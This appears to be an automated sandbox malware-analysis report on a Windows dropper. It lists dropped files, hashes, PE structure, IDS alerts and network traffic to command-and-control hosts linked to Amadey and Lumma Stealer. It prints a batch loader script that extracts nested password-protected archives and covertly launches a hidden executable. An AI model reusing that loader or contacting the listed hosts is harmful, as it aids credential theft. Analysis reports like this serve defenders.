SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.384341046467864
Encrypted:	false
SSDEEP:	6:Q6bXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lHt1ut0:QIf2RKQ1CGAFAjzvYRQVHit0
MD5:	DFD88720428D038B21494ECDB7D7D7BB
SHA1:	43AAF4EA6BDF491F3F12EDC4B355D5DBEBD41343
SHA-256:	C3D314B9D0C1CCD4E51E6345282A2AE49B010C6E064B2558F99D199A08BD99B1
SHA-512:	95FCB2B3C12B5DC7FCDE0F8698942D267AC225BA0322936D50B8DBCAF1DDF83DE49DB99D1DA247EE9D50D3C52F4B6F15E25A3AC80F1721DEC506F20891C66DBE
Malicious:	false
Preview:	......7i]RLB.54..C.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1275904
Entropy (8bit):	7.9913649636274116
Encrypted:	true
SSDEEP:	24576:nqYNJzSEZYfL8tWC6HeBDUMCp5yiW18BR7e7r5MQkc2nylqPv:n57zSyq82H0DUHp5ljBo54HPv
MD5:	577CD52217DA6D7163CEA46BB01C107F
SHA1:	82B31CC52C538238E63BDFC22D1EA306EA0B852A
SHA-256:	139762E396FB930400FAB8FAAB80CB679ABBE642144261CBA24973FB23BCD728
SHA-512:	8ABAD4EAF2A302DFD9EAD058E8C14D996437975730125C46D034A71028921FF36FF5D157AD3671E328AC667EC8095DB19FA14A9E8EAAF1A7738AA3D0120B5474
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................x............@...........................;...........@................................. P-..............................P-.........................................................................................................................@............0..........................@................0...0..................@............@... ..."...F..............@.............'..`.......h..............@....data....`...P-..V..."..............@...........................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.604000270845258
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'976'768 bytes
MD5:	61cb850896f4b6aac18c72e82eb9ac90
SHA1:	c1fcdd242b13e4c5ad99f7e76da886288622b6dc
SHA256:	c2bee3616cf5c0f19ecc5738ee39a8c3d0d0523c2178177b86563d5a3d758d0f
SHA512:	d156751d3d9e353a116e55cbc9a9e87da03a4d29efe529344ce996324ec361f0472724bb8162c2be7ea6f291aaf2f7cbbc8659672777e182e40283fa661a2043
SSDEEP:	49152:nZNt60MWKf4ZmSXyOQqcxSdj04drGcnaj0GpmeogTOpGg:nZNt66Kf4Zm4yOraSd44ZGEaoGpkzGg
TLSH:	89D54C627609B2CBD88A17749927CDA2DE5D83F80B2008C3EC6C74BA7D63CD517B9D25
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x711000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6848F7AAEAh
cmovp ebp, dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30ff9c	0x10	qnusxmvo
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30ff4c	0x18	qnusxmvo
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	1b7655edf533e5493dcf5e200c2739fa	False	0.9983555432561307	data	7.987026021929319	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qnusxmvo	0x6b000	0x2a5000	0x2a5000	c71f308961f84b1ce013201d43918196	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fqlahttk	0x310000	0x1000	0x400	ff0fbabcc738308133540e0afdc0ffb4	False	0.806640625	data	6.251950286569563	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x311000	0x3000	0x2200	a13cf19aecf2d3917d342f69d097e0c8	False	0.0661764705882353	DOS executable (COM)	0.8449225260275846	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T06:09:05.500049+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49748	185.215.113.43	80	TCP
2024-12-19T06:09:11.525019+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49763	31.41.244.11	80	TCP
2024-12-19T06:09:15.968924+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49754	TCP
2024-12-19T06:09:18.929929+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49777	185.215.113.43	80	TCP
2024-12-19T06:09:20.397213+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49787	31.41.244.11	80	TCP
2024-12-19T06:09:29.022935+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49802	185.215.113.43	80	TCP
2024-12-19T06:09:35.500138+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49823	31.41.244.11	80	TCP
2024-12-19T06:09:39.398379+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49832	185.215.113.43	80	TCP
2024-12-19T06:09:41.147923+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	31.41.244.11	80	TCP
2024-12-19T06:09:48.309941+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49854	185.215.113.43	80	TCP
2024-12-19T06:09:49.770079+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49860	31.41.244.11	80	TCP
2024-12-19T06:09:59.035230+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.4	54369	1.1.1.1	53	UDP
2024-12-19T06:10:00.503455+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49888	185.215.113.43	80	TCP
2024-12-19T06:10:00.598029+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49889	104.21.66.85	443	TCP
2024-12-19T06:10:00.598029+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49889	104.21.66.85	443	TCP
2024-12-19T06:10:01.388588+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49889	104.21.66.85	443	TCP
2024-12-19T06:10:01.388588+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49889	104.21.66.85	443	TCP
2024-12-19T06:10:01.955788+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49892	31.41.244.11	80	TCP
2024-12-19T06:10:02.629214+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49896	104.21.66.85	443	TCP
2024-12-19T06:10:02.629214+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49896	104.21.66.85	443	TCP
2024-12-19T06:10:03.424516+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49896	104.21.66.85	443	TCP
2024-12-19T06:10:03.424516+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49896	104.21.66.85	443	TCP
2024-12-19T06:10:06.259068+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49904	104.21.66.85	443	TCP
2024-12-19T06:10:06.259068+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49904	104.21.66.85	443	TCP
2024-12-19T06:10:07.272105+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49908	185.215.113.43	80	TCP
2024-12-19T06:10:07.423552+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49904	104.21.66.85	443	TCP
2024-12-19T06:10:09.176191+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49910	31.41.244.11	80	TCP
2024-12-19T06:10:09.256260+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49915	104.21.66.85	443	TCP
2024-12-19T06:10:09.256260+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49915	104.21.66.85	443	TCP
2024-12-19T06:10:09.378332+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	53237	1.1.1.1	53	UDP
2024-12-19T06:10:09.606669+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.4	58687	1.1.1.1	53	UDP
2024-12-19T06:10:11.245334+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49918	104.21.64.80	443	TCP
2024-12-19T06:10:11.245334+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49918	104.21.64.80	443	TCP
2024-12-19T06:10:11.463654+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49922	104.21.66.85	443	TCP
2024-12-19T06:10:11.463654+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49922	104.21.66.85	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 06:09:04.039057016 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:04.158901930 CET	80	49748	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:04.158987999 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:04.159213066 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:04.278711081 CET	80	49748	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:05.497010946 CET	80	49748	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:05.500049114 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:07.005115032 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:07.005490065 CET	49754	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:07.178447008 CET	80	49754	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:07.178483009 CET	80	49748	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:07.178546906 CET	49754	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:07.178581953 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:07.178826094 CET	49754	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:07.298535109 CET	80	49754	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:09.829411983 CET	80	49754	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:09.829528093 CET	49754	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:09.829545021 CET	80	49754	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:09.829687119 CET	49754	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:10.063214064 CET	80	49754	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:10.063322067 CET	49754	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:10.067841053 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:10.187475920 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:10.187711954 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:10.187891960 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:10.307411909 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.524941921 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.525006056 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.525018930 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.525037050 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.525065899 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.525091887 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.525105953 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.525139093 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.525156975 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.525171995 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.525177956 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.525207996 CET	80	49763	31.41.244.11	192.168.2.4
